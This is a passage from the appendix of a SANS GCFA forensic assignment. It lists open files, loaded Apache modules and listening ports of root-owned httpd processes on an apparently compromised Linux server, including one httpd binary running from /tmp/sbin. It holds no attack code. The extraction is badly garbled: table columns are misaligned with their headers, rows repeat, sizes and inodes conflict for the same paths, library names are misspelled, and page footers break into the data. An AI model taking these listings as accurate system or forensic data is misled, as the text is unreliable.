<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
<td>130322</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>REG</td>
<td>130322</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>130324</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>REG</td>
<td>130324</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>229530</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/libperl.so</td>
<td>REG</td>
<td>229530</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>440053</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>REG</td>
<td>440053</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>65351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libltdl.so.3.1.0</td>
<td>REG</td>
<td>65351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>45823</td>
<td>65354</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
<td>REG</td>
<td>65354</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
<td>65351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libnss_nisplus-2.2.5.so</td>
<td>REG</td>
<td>65351</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>73730</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/lib/libnss_files-2.2.5.so</td>
<td>REG</td>
<td>73730</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
<td>38183</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/var/run/httpd.mm.8124.sem</td>
<td>REG</td>
<td>38183</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>157269</td>
<td>26691</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/tmp/session_mm_apache0.sem</td>
<td>REG</td>
<td>26691</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>8192</td>
<td>26693</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/apache/libperl.so</td>
<td>REG</td>
<td>26693</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>16792</td>
<td>44202</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/var/log/httpd/error_log</td>
<td>REG</td>
<td>44202</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
<td>38183</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/var/run/httpd.mm.8124.sem</td>
<td>REG</td>
<td>38183</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
<td>157269</td>
<td>26691</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/tmp/session_mm_apache0.sem</td>
<td>REG</td>
<td>26691</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4  Page 163

httpd 19372 root mem REG 3,2 153026 66042 /usr/lib/libspell.so.4.0.0.3
cih 19372 root mem REG 3,2 290511 65311 /usr/lib/libcurses.so.5.2
httpd 19372 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19372 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 19372 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19372 root mem REG 3,2 66646 65263 /usr/lib/libweb2.so.1.0.2
httpd 19372 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 19372 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 19372 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19372 root mem REG 3,2 79725 44004
httpd 19372 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 19372 root mem REG 3,2 44992 65349 /usr/lib/libb.ga.so.2.0.15
httpd 19372 root mem REG 3,5 45415 65325 /lib/libnss_files.so.2-2.5.so
httpd 19372 root mem REG 3,2 2457 130317
httpd 19372 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19372 root mem REG 3,6 8301 229506 /usr/lib/apache/mod_env.so
httpd 19372 root mem REG 3,2 9883 229527 /usr/lib/libxml2.so.2.4.19
httpd 19372 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19372 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 19372 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19372 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 19372 root mem REG 3,2 371 130311
httpd 19372 root mem REG 3,5 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 19372 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 19372 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19372 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19372 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 19372 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19372 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 19372 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 19372 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 19372 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19372 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 19372 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Port</th>
<th>Type</th>
<th>Flags</th>
<th>PID</th>
<th>Address</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>9800</td>
<td>/usr/lib/apache/mod_direct.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19373</td>
<td>9240</td>
<td>/usr/lib/apache/mod_setvarif.so</td>
</tr>
</tbody>
</table>

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Access Flags</th>
<th>Age</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>6u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *(https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>7u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *(http (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>8u</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>9u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>10u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *(https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19373</td>
<td>11u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *(http (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>1w</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>2w</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>3u</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>4u</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>5u</td>
<td>REG</td>
<td>3,2</td>
<td>9827</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>6w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>7w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>8w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>9w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>10w</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *(https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>11w</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *(http (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>12w</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *(https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19374</td>
<td>13w</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *(http (LISTEN)</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4 Page 165
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>File Path</th>
<th>Type</th>
<th>Name</th>
<th>Size</th>
<th>INODE</th>
<th>MODE</th>
</tr>
</thead>
<tbody>
<tr>
<td>/lib/libpam.so.0.75</td>
<td>REG</td>
<td></td>
<td>655224</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_auth.so</td>
<td>REG</td>
<td></td>
<td>19662</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_inclue.so</td>
<td>REG</td>
<td></td>
<td>14735</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/lib/libpam.so.0.1.0</td>
<td>REG</td>
<td></td>
<td>12102</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_mimtype.so</td>
<td>REG</td>
<td></td>
<td>19959</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>27836</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_userdir.so</td>
<td>REG</td>
<td></td>
<td>14940</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_status.so</td>
<td>REG</td>
<td></td>
<td>15974</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td>REG</td>
<td></td>
<td>8541</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_userdir.so</td>
<td>REG</td>
<td></td>
<td>8770</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_alias.so</td>
<td>REG</td>
<td></td>
<td>10617</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>53189</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>10034</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>11985</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>8486</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>9304</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>9900</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>8261</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>10176</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_access.so</td>
<td>REG</td>
<td></td>
<td>92407</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv-modules.cache</td>
<td>REG</td>
<td></td>
<td>92451</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>REG</td>
<td></td>
<td>11174</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>REG</td>
<td></td>
<td>122952</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>REG</td>
<td></td>
<td>210094</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>REG</td>
<td></td>
<td>1453198</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>REG</td>
<td></td>
<td>20666</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>REG</td>
<td></td>
<td>65</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>89424</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>156012</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>35340</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>28138</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>5300</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>426442</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>131560</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>196866</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>717774</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>66646</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>189626</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>295333</td>
<td>19375</td>
<td>REG</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>REG</td>
<td></td>
<td>140418</td>
<td>19375</td>
<td>REG</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 19375 root mem REG 3,2 79725 440048
/usr/kerberos/lib/libk5crypto.so.3.0

httpd 19375 root mem REG 3,2 42069 425002 /usr/lib/php/1ldap.so
httpd 19375 root mem REG 3,2 44992 65349 /usr/lib/libibber.so.2.0.15
httpd 19375 root mem REG 3,2 45415 65352 /lib/libmsg_files-2.2.5.so
httpd 19375 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
httpd 19375 root mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 19375 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 19375 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 19375 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 19375 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8
httpd 19375 root mem REG 3,2 46117 65351 /lib/libnss_nisplus-2.2.5.so
httpd 19375 root mem REG 3,2 1401027 73730 /lib/lib686/libc-2.2.5.so
httpd 19375 root 0r CHR 1,3 9637 /dev/null
httpd 19375 root 1w CHR 1,3 9637 /dev/null
httpd 19375 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19375 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 19375 root 4u REG 3,5 0 26691 /tmp/session_mm.apache0.sem
httpd 19375 root 5u REG 3,5 8192 26693 /tmp/session_mm.apache0.sem
httpd 19375 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 19375 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 19375 root 17u IPv4 361624 TCP *:https (LISTEN)
httpd 19375 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 19375 root 19w REG 3,6 0 44198 /var/log/httpd/ss1_request_log
httpd 19376 root cwd DIR 3,5 1024 2 /
httpd 19376 root rted DIR 3,5 1024 2 /
httpd 19376 root tnt REG 3,2 290169 131802 /tmp/sbin/httpd
httpd 19376 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
httpd 19376 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 19376 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 19376 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 19376 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 19376 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 19376 root mem REG 3,2 6274 229505 /usr/lib/apache/mod_dir.so
httpd 19376 root mem REG 3,2 371 130311 /usr/lib/apache/mod_userdir.so
httpd 19376 root mem REG 3,5 101902 73730 /lib/libmod_userdir.so.2.2.5
httpd 19376 root mem REG 3,5 10034 229493 /usr/lib/apache/mod_access.so
httpd 19376 root mem REG 3,5 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19376 root mem REG 3,5 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19376 root mem REG 3,5 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 19376 root mem REG 3,5 9900 229508 /usr/lib/apache/mod_expires.so
httpd 19376 root mem REG 3,5 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19376 root mem REG 3,5 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19376 root mem REG 3,5 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Group</th>
<th>Flags</th>
<th>Size</th>
<th>File path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>65</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>29</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>2592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>131560</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1561021</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>13013</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>161</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>83</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>40</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>50</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>292</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>65396</td>
